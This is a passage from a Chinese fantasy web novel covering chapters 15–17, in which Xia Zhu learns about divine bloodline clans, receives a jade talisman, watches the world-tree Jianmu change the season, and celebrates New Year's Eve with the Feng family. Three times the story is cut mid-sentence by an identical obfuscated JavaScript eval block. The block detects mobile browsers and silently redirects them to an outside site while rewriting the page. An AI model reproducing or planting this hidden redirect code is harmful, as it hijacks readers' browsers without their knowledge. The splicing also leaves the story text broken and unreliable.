比略有收敛的夏烛更夸张的是风枫,后者简直能称得上风卷残云,仿佛饿了十天半个月之久。老姜很满意两个女孩对待这桌饭菜的态度,吃完了饭收拾了碗筷又赶紧去厨房煮上甜汤,说是饭后甜点,得让夏烛尝尝雪脂莲蜂蜜的味道。 夏烛想去厨房帮忙,被风叶拦下,她牵着夏烛坐到客厅的沙发上。 “让小眠去就可以了,阿烛有什么想问的吗?关于小枫,或者关于你?” 夏烛确实有满肚子的疑问,这一路来她都在思考,但是现在可以问出口了又不知道从何开始,然后她想到什么,抬起头来看着风叶太妃糖色的眼睛。 “阿姨,小枫他们是跟着您姓的吗?”她觉得姓氏是一个很好的切入点,毕竟兄妹二人刚遇见夏烛那会儿总是对着她的姓愁眉苦脸,好像与“夏”这个字有什么深仇大恨。 风叶听了她的问题,笑了笑,她说:“没错他们都是跟着我姓,或许可以说,我们家族的孩子都会跟着妈妈姓。” “家族?风家吗?” 风叶点点头:“不止风家,我指的是所有的神族血裔,都会跟着他们的母亲姓。” “神?”夏烛知道答案或许离奇,但确实没想到这其中还会牵扯“神”这一说。 “除了风家以外这个世界还存在三系五姓八派,我们都是神族的后人,阿烛,你喜欢听传说故事吗?”风叶注视着夏烛的眼睛,温暖的颜色仿佛深有漩涡,她对着这双眼睛想说自己不敢不信,可最后还是选择不说话。 “小枫应该和你讲过,这个世界除了神族以外还有名为魉的怪物。欲念无形潜藏在每一个人心底的最深处,如同附骨之疽难以摆脱,欲念越深越会吸引一种名叫天生相的物质,天生相能给予人类他们无法想象的力量,却更容易控制人心。” “欲念反复酿造,最终得以在一个深夜结出梦境,将做梦之人变成魍魉困在其中。魉的能力深不见底,等到它们完全成型也许就会破梦而出,魉的种类也因其所执而有所不同千变万化,但毋庸置疑的是它们都会对人类的生命造成威胁。” “所以神族血裔组成的九大家族每一代都会有能力出众者担任不明官,进入魍魉之梦斩除邪祟,维护家族和人类世界的稳定。我们的能力由血脉之中的天生相决定,各个家族的相力不同,管辖范围也不同,每个家族都与一位神明有关,只不过经过千年万年的口口相传,家族的历史成了人类口中的传说……”风叶看了一眼一旁昏昏欲睡的风枫,风枫立马从桌上直起身体,还对着夏烛露出一个狡黠的表情。 突然,一阵狂风吹过,以风枫为中心的地方长出无数藤蔓枝条沿着地板爬上家具墙面爬满整个房间,刹那之间如同密网颇有遮天蔽日之势,藤蔓密密麻麻层层叠加,在其之上结出球茎绽开无数鲜花,又迅速凋零坠落,最后在房屋中呈现半枯半荣的景象。 风枫的头发在风中张扬地飞舞,她右耳的棕色符钰发出灿烂的暖光。身侧的风叶,眼里全是骄傲,她从风枫身上收回视线,在飞花落叶中重新面向夏烛。 “万物生,小枫的相力。” “而我们,就是东夷太皞风氏,春皇一脉。” 15.风烛不残年 端着水壶走到夏烛身边的风眠望着头顶盘根错节的藤蔓,长而卷曲的睫毛轻轻抖动,他的眼睛明亮,神色难掩激动有说不出的向往,夏烛听到他喃喃自语。 “小枫可是我们风家百年难遇的天才……” 他低下头对着夏烛轻笑,白皙的脸上似乎浮出一层浅光,嘴角上扬,语气里全是骄傲。 “小枫出生的那天,春雨伴随艳阳,屋顶架起彩虹,方圆百里的植物一起开放生长,族中的老人说,百年之间,再无其二。” “哎呀风眠,不要再说啦!俺们是双生,那也是你出生的那天啦。”风枫收回藤蔓,重新趴在桌面上。 风眠却摇摇头,笑笑不再说话,将托盘放好,给三人倒满热茶。 虽然早已见识过风枫的御叶之术,可刚才这种场景她也是头回见,但夏烛的人设是三无少女,能做到泰山崩于前而面不改色,她忍不住问风眠。 “你的相力也是这样吗。” 风眠把茶杯推到夏烛面前,顺着杯垫将杯耳转向她这一侧,他的表情没有任何变化,还是微笑着。 “我是残体,用尽全力也只能让花苞微微裂开。” “神裔血脉中的天生相只会跟随母体遗传,通俗点说,传女不传男,所以家族中的男性,都是残体。”风叶接过风眠的话,但她的语气听起来也没有任何异样。 “风家从不认为残体就有何不同,我们一族也不愿参与各族各派的荣誉之争,劳作和自然才是春皇一脉的永世追求。”风叶继续说道。 “不过也正因为如此,我们家族很少有不明官呢,小枫可是这一代唯一一个,只是哥哥总怕她只身一人在梦里遇到危险,无论如何也求我给他一块符钰,要跟着妹妹一起入梦,也许这就是双生,谁也离不开谁呢。”风叶越说越开心,端着茶杯捂着嘴笑起来。 夏烛意识到自己问了一个不算太好的问题,虽然当事人一家看上去仍旧其乐融融没有异样,可她还是有些自责。 风叶提到了太皞,春皇。 据她所知,有资料将春皇太皞和伏羲比作一人,但不知道风家是否就是伏羲直系后代,因为关于太皞伏羲之说不同年代不同阶段不同的鉴史之人各执己见,众说纷纭。 总之,结合夏烛的观察和风叶所说,风家应该就是和自然之神相关的一脉。 她突然想起曾在风枫符钰中看到的大树图腾。 也许就是某种象征。 那也没错,自从她踏上这片土地,所到之处暗藏的勃勃生机都令她心跳加速,整个风家更像是一棵沐浴在骄阳下的参天大树,站在这棵蓊蓊郁郁的绿树之下,她也感到了前所未有的安心。 也许命中注定将踏上这趟旅程,自己与这样温暖的家会有什么牵扯或者关系吗? 似乎看出了夏烛的心中所想,风叶适时递上话头。 “阿烛,小眠跟我说了你的能力,想必他们跟你说的是来找我就能给你想要的答案,但阿姨很抱歉,关于你如何能入梦,又是如何拥有这些能力的,我也毫无头绪。” 听完风叶的话,她有一瞬间的低落,不过很快就被打消。 “我这里没有答案,但有一个地方或许有。传说渭水姜家有五采神鸟守护,神鸟可看清过去预知未来,拥有机缘的人能进入五采鸟的隐匿之地,得它解惑,或许你能去碰碰运气。只是我们和姜家平日没有什么来往,能不能得到允许踏进姜家领地寻找机缘只能看你自己了。” 风叶端起茶杯喝了口热茶,拍醒已经睡着的风枫。 “新年之后就是九天大会,届时所有家族的不明官都会前往日月山参加,他们兄妹也要去,阿烛你可以一起,日月山距离渭水不远,九天大会卧虎藏龙说不定能找到为你指引方向的人。” 风枫睡眼朦胧听完先是开心后又想起什么,满脸担忧的抓住风叶的手:“老妈,阿烛在来的路上又进了一次梦,虽然平安带着石头出来了,可她这种毫无征兆的入梦实在太危险了,有什么办法能帮帮她吗,俺真怕还没到日月山没见到什么神鸟她就被困在梦里出不来了。” “这简单,你们等等我。”风叶拍拍风枫的小脸,从沙发上起身上了二楼,风枫尾巴一样跟了上去。 客厅里只剩下风眠和夏烛,两人坐在沙发上一时之间没人说话,夏烛想起刚刚关于相力的问题,觉得有些不好意思得道个歉,但她实在嘴笨不知道怎么开口才好。 于是她说:“风眠,叔叔做的饭菜很好吃,你做的也是。”虽然没有小枫那样的天赋,可在她心目中风眠是个很好很好的人,不知道怎么形容,总之就是很好。 风眠听出她并不直白的道歉笑弯了眼睛。 “这没有什么的阿烛,有没有相力对我来说并不重要,重要的是一家人平平安安,开开心心度过每一天就好。再说了,女性能够孕育生命本身就是天赐神力,相力就该也只该在她们的血脉中传承。”他的睫毛很长,也许比风枫和夏烛加在一起还长,这会儿垂了下来,像帘幕一样盖住了浅色的瞳孔。 “只是辛苦小枫,她从小就肩负起不明官的责任,家族里几乎没有人愿意入梦除魉,我们也从来没问过她是否愿意,我只知道,她最爱在田间在野外奔跑,搞一通发明创造,研究这种草又那种花的。可是担任不明官是所有神血家族的职责,风家必须有人站出来,理所应当,最天赋异禀的小枫替所有人带上了符钰。” 风眠抬起眼睛望向通往二楼的楼梯,风枫正蹦蹦跳跳地下楼,他的声音变得很轻,夏烛勉强才能听清。 “我能做的就是为她做好每一顿饭,照顾好大家,保证她无后顾之忧,也不在梦里拖她的后腿成为她的负担……” 话刚说完风枫就已经扑到沙发上了,风叶也跟着下了楼,手里捧着一个木盒,走到夏烛跟前,打开那个盒子,盒子中躺着三四颗棕色玉珠吊坠,与风枫兄妹右耳上的一样。 “这是风家的符钰,一共七颗,历代被分给七位不明官,只是这一代就小枫小眠选择入梦,所以我这里还剩下一些。”说着风叶从盒子里取出一颗,挨着夏烛的耳朵比划。 “符钰是入梦的钥匙,同时也是归束神血后人的法器,戴上它或许可以控制你的入梦能力,阿烛你有耳洞吗?” 夏烛点点头,在风叶的眼神示意下把头发别到耳后,耳洞是小时候爷爷带着去打的,说是能保佑她身体健康,逢凶化吉。 “左边还是右边?” “右边吧。”和风枫她们一样。 耳针费了些力气才穿过耳朵,上了初中之后她就不再佩戴耳饰,那里重新长出了一层薄膜。 “好啦,你看看怎么样?我们家的符钰都戴在耳朵上,方便,也不影响干活。”风叶递了面镜子给夏烛。 从镜子里她能看见那颗枝繁叶茂的大树,就像被凝固的琥珀包裹住。 “那是太皞的图腾建木!好看吧,很适合你哦阿烛。”风枫也凑了过来。 “还有一件重要的事,”风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721328|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶的神色微微一变,“阿烛,你的能力最好还是不要暴露,也许其他家族并不接受’非我族类’的存在,就算你没做任何威胁到他们,威胁到人类的事,但对于大多数神裔来说,变数就是最大的威胁。让那几家知道世界上还有脱离他们掌控,并且如此不同的人,对你来说大概不会是什么好事。” 说完,她指了指夏烛身后窗台上的一盆橙花,风眠心领神会地起身将花盆端了过来。 “小枫,让花枯死。” 风枫虽然不太明白妈妈的用意,但还是抬手在花枝上点了一下。 一盆开得正好的橙花在她的指尖之下迅速枯萎,然后可怜巴巴地整株败在了盆中。 “小眠说你有让小鸟复生的能力,也许对植物也行得通,试试吧阿烛。” “可是,我并不知道有什么窍门或者咒语之类的,也许只是偶然。” “没关系,放松点阿烛,上次是怎么做到的,这次按照一样的姿势尝试一下。” “好,我试试。” 其实她心里没底,那一次只是将小鸟捧在手里,它就毫无征兆的复活了,她很怕只是巧合,说不定她根本没有什么特殊能力。 尽管心里面的退堂鼓打得震天响,但她还是将手伸了出去,轻轻将那株毫无生气的花拢在手心。 想着是不是得念些什么,又不好意思出声,她只好默默祈祷“活过来,活过来”。 奇迹一般,原本枯死的橙花根茎开始发绿,卷曲的干叶肉眼可见地舒展,夏烛甚至能听到植物细胞中的液泡嘭起来的声音。 橙花又同之前一样,焕发生机。 “这就好办了,你的起死回生之术用在植物上,也能对外说你是我们风家的人了,如若真的走到需要向人自证的那一步,你就像今天这样,让小枫配合你就好。”风叶一脸欣慰地拍了拍夏烛的肩膀。 “好耶!从今天开始俺就有姐妹了!阿烛,难不成你以后就改名叫……风烛?”小枫朝夏烛扑了过来,毛茸茸的一颗脑袋往她脖颈里钻。 风烛听起来有点命不久矣的感觉。 “哪里需要改名字,外人面前尽管叫阿烛就好,连装都不会,小枫你不是最精了。”风叶笑着在风枫的鼻子上刮了一下。 躺在温暖的被窝里,被子和枕头上都有一股草木的香气,闭上眼睛就好像躺在草地上一样。 她刚刚喝了风枫爸爸端来的甜汤,洗了个热水澡,这会儿躺在床上,四肢百骸都暖的像在融化。窗户没有关上,夜风温暖湿度适宜,她想多看看月光洒进房间的样子。 直到现在夏烛都还有一种犹在梦中的感觉,不过不是什么魍魉之梦,是个再好不过的美梦。除了洗澡之前发现自己右小臂上有黑色的五指印记让夏烛有些难受,既然小枫说她是意识入梦,为什么梦中的焦人还能在她现实里的身体上留下痕迹。 此外她还总觉得有一道莫名的视线在暗中盯着自己。 这种被窥伺的感觉从踏上风家的领地开始就存在了,她不太确定是否是出梦后的后遗症,也判断不出视线主人的意图,只是偶尔特别强烈,强烈到无法忽视。 就比如现在,在没有关闭的窗口,有什么人或者物,正偷偷将视线探进房内,寻找着窗户死角处,夏烛的身影。 她犹豫了一下,正准备掀开被子查看,通往阁楼的天窗门被敲响了两声。 “阿烛,睡了吗?我有些话想跟你讲,现在方便吗?” 是风叶的声音。 16.枝繁叶茂的不只是大树 醒来的时候觉得自己的右耳热乎乎的,一夜无梦睁眼到天亮,也许是符钰在起作用。 昨夜风叶来找过她,就坐在窗边的书桌旁。她告诉夏烛,戴上了符钰,风家的大门就会永远向她敞开,虽然她们才认识了一天,但是风枫兄妹喜欢的人一定是很好的。风叶还说,她不会说什么既然在世界上不剩别的亲人了,那就把我们当作亲人这样的话,亲人是血脉注定但同样可以选择,夏烛只需要跟随自己的心意,永远只做让自己舒服的事就好。 “无论如何,这里都能为你提供庇护。” 风叶的原话是这样的。 夏烛很是感激,在情感一事上她往往拙于言辞,敏于心。对于风家为她做的种种,甚至觉得受之有愧,放下戒心向一个来不明的人敞开大门,她感叹自己何德何能。 绞尽脑汁地想了很久,到底能做些什么回报别人的恩施,最后却只能低头看向自己的手心。在一切还不明了之前,她只能郑重其事地向风叶说谢谢。 起身收拾了一下,准备下楼看看有什么需要帮忙的,或许还能班门弄斧给大家做一顿早餐。 风家的阁楼是比一般的大了许多,贴心地自带独立卫浴,夏烛简单洗漱了一番,来到窗前。晨风送来辨别不出的花草香,朝阳刚从地平线上升起,天地一片橙红,晒得她脸颊微烫,大地跃金,没有冬日的萧条反而一派欣欣向荣。 她深吸一口气,清了清嗓,开启早读模式。 “阳春布德泽,万物生光辉……” 还没进入状态,夏烛敛神发现窗台外面掉落了一片黑色的羽毛,探出上半身将羽毛捡了回来。 黑羽如缎在阳光下流光溢彩,像一块削薄的乌金偶然遗落。 她盯着羽毛眨了眨眼睛,然后神色如常地将其收进书包塞到《萤窗异草》的书页里,转身下楼。 厨房传来叮叮当当的响声,风眠起得比夏烛还要早,已经在做早饭了,她进去打了招呼说要帮忙又被风眠推了出来,只好打着学习厨艺的旗子才能站在一边打打下手。厨房正对着外面有一扇大大的窗户,从里面看出去能看到金色的麦田,和绿油油的其他作物,应景似的,风眠的早餐也是一桌四季同在。 他一道道热心讲解,早晨的阳光带着火焰色的光辉透过玻璃窗和蕾丝勾成的窗帘映在风眠的侧脸上,呈现一种琉璃或者琥珀的质感,夏烛再次惊讶于他细腻白皙的皮肤。 “不知道你早餐习惯吃哪种类型的我就都做了点。”风眠要夏烛帮忙将烤架上的鱼一条条捡到盘中,“这是炙烤的樱鲷,我怕早起吃烤鱼会腻,搭了山葵芽配茶泡饭。” 他示意夏烛可以端去餐桌。 “是酿了很久的梅子茶汤,刚好可以解腻。” 鲷鱼油香,茶汤清爽,夏烛咽了口不断分泌的唾沫发誓一定要拜在风老师的门下,好好琢磨一下鼎鼐之术,自己一个人的时候也可以好好吃饭,可一想到这些食材是风家特供她不知道除了此处还能上哪里一次性集齐遂又作罢。 “不爱吃米饭的话我做了莼菜云吞,裹了松叶蟹腿肉,对了阿烛你对海鲜过敏吗?” 夏烛摇摇头,这是她第一次吃海鲜,但愿不会。 “温牛奶,苦笋肉包,还有酒酿蛋羹,希望有你喜欢的。”风眠将剩下的食物一一端出。 风枫和风叶夫妇下了楼,五个人在晨风中欣赏太阳慢慢升起听风枫东拉西扯,享用完了早餐。风枫拉着夏烛出门,说后日就是除夕,他们需要赶在明天之前进行“易帜”,刚好带着她一起去见识见识。 小枫神秘兮兮,不肯提前透露“易帜”为何。 风家领地的气候适宜,比起冬天更像金秋时节,夏烛在毛衣外面穿了一件校服,就跟着风枫出了门,风眠说要留在家里打扫一下卫生,一会儿趁还没有易帜之前出门钓几条鱼回来中午炖汤,小枫脸上笑眯眯,一个劲儿夸他宜家宜室。 就算已经见识过了这里超出自然规律的神工鬼力,她还是再一次被眼前的景象触动。 一片土地上同时呈现四序不同的景象,春花烂漫包裹着秋穗从地平线处不断变化而来,小枫说这片土地上生长了稻、黍、豆、麦,全都白滑如脂膏。东边是高高架起的葡萄藤,珠串似的饱满果实沉甸甸闪着紫色或绿色的宝光,西边一排梅花围着几块小池塘,小池塘风荷正举,梅瓣势要艳压一头扑簌簌全吹落在池面上荷叶中。 夏烛猜测这片领地或许是存在什么结界将外界隔绝,某种神秘的力量驱动着内部的生机循环,因此在四周边缘处依稀闪烁着一些类似虹的光影,就像仙家斗法,仙术碰撞后产生的能量波动。 前18年所接受的教育和认知已经完全推翻,好在她能快速适应一切,就好像本该如此。 两人挽着手走在鲜花盛开的草地上,自然的一切能迅速抚平所有情绪,让内心只剩下宁静,如同一颗小草长在地里摇摆在风里那样,自然而然只是在那里,只是存在。 路上还遇见了风枫口中常常提到的阿若表姐,那是个二十多岁的女孩,长发到腰际像是一片春柳,穿着草绿色的棉布长裙,戴了一顶草编的小帽,帽檐上插着两朵紫色的月见,她送了一捧刚刚采集的树莓浆果给夏烛,告诉她来得正是好时候,今年的树莓饱满又多汁,也不问她的名字,也不问她从何而来。 夏烛心想风家的人血脉里流淌的也许是糖浆或者一条清冽无比的潺潺小溪,溪水面上一年四季载着甜蜜的花枝流向金灿灿的落日尽头。 她们俩吃着风若给的浆果钻进一片枫树林,头顶的阳光刹那遮去,连带周身的温度也低了下来,夏烛敏锐的察觉到那道莫名的视线又出现在了身后,这次异常强烈,似乎要将她的后背烧出一个洞来,说烧出洞也不对,那道视线并不炽热的,反而尤其的冷。 她想起早晨在窗边捡到的那支羽毛。 “小枫,其实在我第一次拿到天生相石的时候,也是你们来到学校之前,我遇见过一次山魈。” “山魈?”风枫听了她的话若有所思。 “蓝脸独脚反踵,如果书上记载得正确那它应该就是一只山魈,在了解你们身份之前,我还对此感到不解怀疑,但是现在我能肯定,这个世界上确实是有传说妖怪存在的,对吗?” “在俺们的世界里确实存在像山魈这类的生物,但是神血家族的人并不将其叫做妖怪……”风枫的脸色有些奇怪,也许山魈的出现并不简单,她转过头来蜜色的眼睛在光线暗淡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726691|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枫林里加深了颜色,“这些非人但具有神力的生物,被称之为妖神。” “神?” “就像所有神血家族的祖先被称作人神一样,在九天之上,宇宙之中还存在着一位至高无上的主神,老妈说在最开始的鸿蒙开辟时期只有主神拥有天生相的力量,后来有一天,他发现天生相有些许微粒流向了人间形成魍魉梦,这种梦区别于普通梦境作为一种意识环境独立在时间之外。于是主神降下神策,在人类部落中挑选了几人赐予她们天生相,担任不明官进入梦中斩杀魉,回收天生相的碎片。”风枫吃掉最后一颗莓果,几个指尖微微染色。 她拍了拍手,继续说着:“最初那几个拥有天生相的部族首领被后人尊为人神,但是主神并不只将神力赐给了人类,还有别的生物。其余拥有天生相的物种被视为妖神,它们体内的天生相力无法通过繁衍传承,但是不同于人类,妖神拥有很长的寿命。一部分妖神自愿归于某个家族,作为镇族的神物,在从前的战争中庇护他们,就比如老妈让你去找的那只五采神鸟,就是渭水姜家的护族妖神。” “当然了,还有其余一部分并不愿被人类约束,隐匿在世界各处,阿烛你见到的山魈就是其中一个。” “所以,山魈也许是被我身上的天生相石吸引而来的?”夏烛问道。 “大概率是这样。” 想起那支黑羽,她又问风枫,五采鸟是否就是拥有彩色的羽毛的神鸟。 “这俺就不知道了,据俺所知没有人见过它,也许只是一个传说。”她看夏烛神情不对,“不过没见过五采鸟的都是命中无此机缘,别灰心阿烛,你这么与众不同说不定有着大大的机缘!一定会得神鸟青睐,等到九天大会开始,俺和风眠一起帮你找机会去姜家逛逛!” 夏烛点点头,将自己手中剩下的树莓都给了她,风枫笑眯眯地一把塞进嘴里,像只小仓鼠颊囊鼓鼓。 “九天大会就是不明官的集会吗? “是也不是,九天大会的重要事项是家族上层的决策者们聚集在一起,总结过去,规划未来,再查一查过去一年是否有家族人员违规违法,有则罚之改之无则加勉,大人的事跟俺们这些不明官没什么太大关系,不明官参加大会是有别的活动。”她囫囵咽下嘴巴里的食物,露出神秘兮兮的笑,“先不告诉你!过几天你就知道啦!” 两人说着话渐渐走出了茂密的枫树林,那道奇怪的视线始终如影随形,但似乎只是跟着并没有别的行动,于是夏烛打算不再理会,隐藏之人如果有除了监视观察外的其他目的自然会现身。 眼前豁然开朗,绵延无边的软草上赫然耸立着一棵蓬勃生长的参天巨树。 夏烛站在枫树林的边缘抬起头俨然可见高空中巨树延伸百里的枝干末端,它的阴影覆盖大片草地,如同划分了一块足球场地大小的区域,阳光投下的光斑闪烁在草尖上好像星河倒流,影影绰绰,万般耀眼。 巨树向上看不见尽头,通天大道一般伫立此处,一阵暖风吹过亿万叶片一同摇摆互相摩擦,俱作飒飒之声仿佛天外传音,接着它庇护之下的土地也在轻微地震颤,草叶落英陷入了一场即兴的狂舞。 “阿烛这就是风家的镇族妖神,建木!” 17.年年有今日 《吕氏春秋》中记载:“白民之南,建木之下,日中无影,呼而无响,盖天地之中也。”《淮南子》说:“建木在都广,众帝所自上下。”意思是天地之间有这样一棵巨树,树冠大到吸收一切光线,风吹过这里也失去声音,仙人神明通过它往返人神两界。建木的身影出现在各种神话传说之中,夏烛从未想过自己有生之年会见到这棵通天神树的真实模样。 可是建木其间既不见攀援的龙和长鸣的鸾鸟,也不是只在树冠长出弯曲的枝条盘绕成伞盖,垂落细软的树叶像黄蛇或者缨带。 只是一棵树一般,树一样,静静地扎根在大地上,除了体型巨大之外与普通的绿树别无二致。 她以为妖都会像那晚的山魈一样,不说奇形怪状至少看上去都有些人形,就连电影中关于外星生物的形象刻画也大多是顶着一颗大脑袋人形生物。于是她把这个疑问告诉了风枫。 “人?为什么要像人一样?”两人走了很久才走近树干,风枫扑了上去双臂展开贴住建木干枯河床一样的树皲,“建木才不喜欢像人,做棵树多好,世人都以为它伫立在此地千万年无趣又孤独,可它是一棵树呀,叶落归根,又根生蒂固,对于一棵树来说这就是最好的事情了。” “从前有人偷偷潜入风家寻找建木,他以为通过建木可以攀登而上直达九霄,见到高天上的主神,再不济建木的果实或者树根树皮吃了也能延年益寿。可当他看见传说中的神木只是一棵高大的普普通通的树之后失望得几乎掉下眼泪,他不敢相信春皇风家世代守护的妖神竟然毫无神迹。” 风枫将脸贴在树皮之上,她发间的装点的绿叶被挤压在缝隙之中,看起来像大树上长出一片柔软的苔藓。 “他想错了,建木护佑的从来都不是风家的人,他庇护的只有脚下这片土地而已。” 同它一样的,天生天养,万物生灵。 夏烛仿佛看见自己变成了那个偷偷潜入想借助神木之力的人,站在抬头望不见边际的树荫之下,面对着沉默不语的古老神祇羞愧到无处遁形。她突然明白了从风家人身上能感受到的无穷力量到底是什么,坚韧,自信,不屈,就是作为人类最基本的力量。 不是神族的后人,不是拥有常人无法企及力量的不明官。 只是人类。 所以她们依赖自然,更愿意靠着双手,更希望脚踏实地。 “不过建木已经在这个世界上存在千万年之久了,对于它而言时间是永无止境的,所以它庇护之下的这片土地也就像沉睡了一样,很难发生其余的变化甚至百年只停留在一个季节。俺们靠着务农而生,太过于依赖四季的变化,离开这里又容易被人发现,所以还是得依靠一点建木的能力。” “建木的能力?是指四季变换吗?”这里的气候与外界实在不同。 风枫对着她眨眨眼睛,右耳上的符钰闪烁发出透亮的暖光。 “阿烛,还记得俺之前跟你说的易帜吗?。” 她伸出双手轻轻抚上建木的树干,闭上眼睛,缓慢念出一段音调古老的咒语,似乎是别的语言,悠长而空灵,但夏烛竟能听懂它的意思。 “乾坤敕令,四灵下诏。” “璇玑四指,斗柄回转。” “金从革,木曲直,水润下,火炎上,土德中央为稼穑。” “东九,南三,西七,北五。” “承吾夙愿,四时八节易序而无愆。” 符钰的光芒一瞬暴涨,将建木旁边的两人的笼在其中,夏烛甚至感觉到自己的右耳也在发烫,似乎被借去一线力量。 符光最盛之际,大地微颤,风枫睁开眼睛。 “玄璜入土!北龟司冬!” 最后一句咒文结束,狂风似九天之瀑从头顶倾泻而下,脚下的软草瞬间疯长,从脚踝处直窜到头顶,草尖爆开一朵朵烟花随即又枯萎凋零,花草再次倒伏在地化做丰润的肥料浸入地底,建木的树叶由绿变黄,轻易就被卷入风中在小范围内形成由枯叶组成的包围圈。 夏烛被风吹得东倒西歪,耳边尽是呼啸,正在她想撑着树干稳定身形的时候,一切忽然陷入寂静,空气仿佛凝结,凌空的枯叶群慢慢散开,一片片以极慢极悠闲的速度落下,最终融入土壤。 草叶不长,花也不开了。 万籁俱寂,她闻出氧气里丰盈的水汽,一片晶莹的雪花从眼前落下。 身边的风枫开心地仰起头,雪开始落得很快,她的睫毛上已经沾了一些,衬得蜜色的眼睛更是明亮。 “瑞雪丰年,过个好节。” 夏烛听到她说。 建木成了枯树,大雪无处躲避,两人走到半途,地上的雪已经盖了厚厚一层,行路变得困难,来到枫林边缘的时候,夏烛的心快从嗓子眼跳出。倒不是因为累,而是易帜的余威还在身体里回荡。 好几月了,她总是因为种种从前未曾想象的事物而产生极端的兴奋,面上不显却只有自己知道藏在皮肤之下的血液早就被烧得沸腾。 她极其想要找到一种语言,一个词语来形容这种感受,但一直脑袋空空,外面的世界原来是这样的,风雨雷电,树叶花草,书本之中从来无法感知,从前她狭隘地认为只要看遍足够多的书,呆在爷爷和她的小屋里也能认识整个世界。 风枫的辫子一晃一晃,在雪地里蹦蹦跳跳像一只长了绿毛的兔子,空气冷冽,天似乎变得又高又远,大雪正在洗去一切尘灰。夏烛埋着头跟在风枫身后,她藏在校服衣领里的嘴角忍不住上扬,热气钻了出来糊住眼镜,身后雪地上留下四排分开又交错的脚印。 天高地迥,觉宇宙之无穷。 半小时后,易帜结束的二人差不多快走到家了,伫立建木的雪地里,四排延进枫树林的脚印旁边静悄悄的多出了两列新的脚印,一只红眼乌鸦从枫林上空掠过,叫声回荡之间显得冬日更加清冷。 雪越下越大,两人兜了满头雪渣尖叫着朝家里跑,在家门口不远的地方碰见穿着黑色雨靴发梢濡湿带着青草味道的风眠,他提了个小桶,对着两人展示,几尾活鱼在里头扑腾,雪片掉进桶里先浮在水面然后被跳起来的小鱼拍进水底融为一体。 风眠说他一共钓了五条鱼,风枫争着抢夺做法的决定权,老妈喜欢红烧的,老爸喜欢清蒸的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734894|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老哥喜欢烤的,阿烛喜欢怎么样的呢?而她无论哪种做法都喜欢只好每人的都尝一尝啦。 大雪连着下了一天一夜,扑簌声在屋檐和房顶上也响了一天一夜,这会儿雪停了耳边没有缠绵的动静倒显得有些不习惯,直到壁炉里燃起火焰,火星毕剥,安心感随着上升的温度回到身体之中。 屋内温暖如春,欢声和笑语凝成浓稠的枫糖浆盛进烧出建木叶纹的小瓷罐里,有人挤在厨房准备着除夕夜的团圆饭,有人围在客厅吵吵嚷嚷要将电视换台,门口的碎花棉帘被掀起又放下,进进出出的人们端着家里制作的拿手好菜,随着进出的身影趁机钻进一些细碎的雪花,掉在地垫上湿漉漉地结成一团。 也可以什么都不用做,只是将身体陷进柔软地像现烤面包一样的沙发里,静静看着自己的四肢慢慢融化然后流到地上流进毯子里和宝相花纹黏糊糊地长在一起。 风家人把夏烛当成了这场团聚的中心,没有给她机会看着自己的四肢融化,她对于这种热腾腾的关心有些不自在,总是在人群的围绕下偷红着一张小脸,但同时又感到兴奋,甚至开始享受这种不自在。短短几天,夏烛接触了比前十几年加起来还要多的人,而这些人的脸都像一朵朵春花,身体也像丰茂的大树一样令人喜欢。 她高兴得多吃了好几碗饭,吃到胸口的位置也涨涨的满满的。 欢闹一直持续到凌晨,阿若表姐带着夏烛她们去雪地里放烟花,地疑明月夜,彩色的花火像雨点一样在高悬的月亮四周炸开,夏烛的脑袋晕乎乎的,也许是室内的温度有些高,也许是因为在起哄之下喝了一杯自酿的葡萄酒,总之脚下的雪变得异常软绵绵,让人有些站不稳。 她抬起头,在绚烂的烟花里找到了一样旧物,让她过于兴奋的大脑冷却了下来,一股酸涩的感觉充上她的鼻腔。 是月亮,天上有一轮孤零零但亮堂堂的月亮,这轮月亮她看过六千多次,六千多个夜晚她有自己或者爷爷。月亮始终将她的身影在乡下那条小路上照出随行的陪伴,这还是第一次她低头看不见影子,但身边多了好些吵闹的声音。 今夜万家灯火,势要同星河争争璀璨。 “阿烛阿烛!除夕夜对着烟花许愿尤其灵验哦!”这是风枫瞎编的,她听说夏烛没有吹过生日蜡烛,想必她很少对着火光诉说自己的心事愿望。 “像这样!跟俺一样!”她凑到夏烛身前伸出手捏住耳朵上的符钰闭上了眼睛,“俺希望全天下的人都有肘子可以吃,希望全天下的小朋友都能吹上生日蜡烛!”说着又要拉哥哥也来一起许个愿望。 风眠无奈照着她的动作闭上了眼睛。 没有吹过蜡烛的夏烛大朋友被好心人风枫的虔诚愿望照拂,她也试着伸出手,捏住冰凉的符钰,闭上了眼睛。 我希望,年年有今日,岁岁有今朝。 砰—— 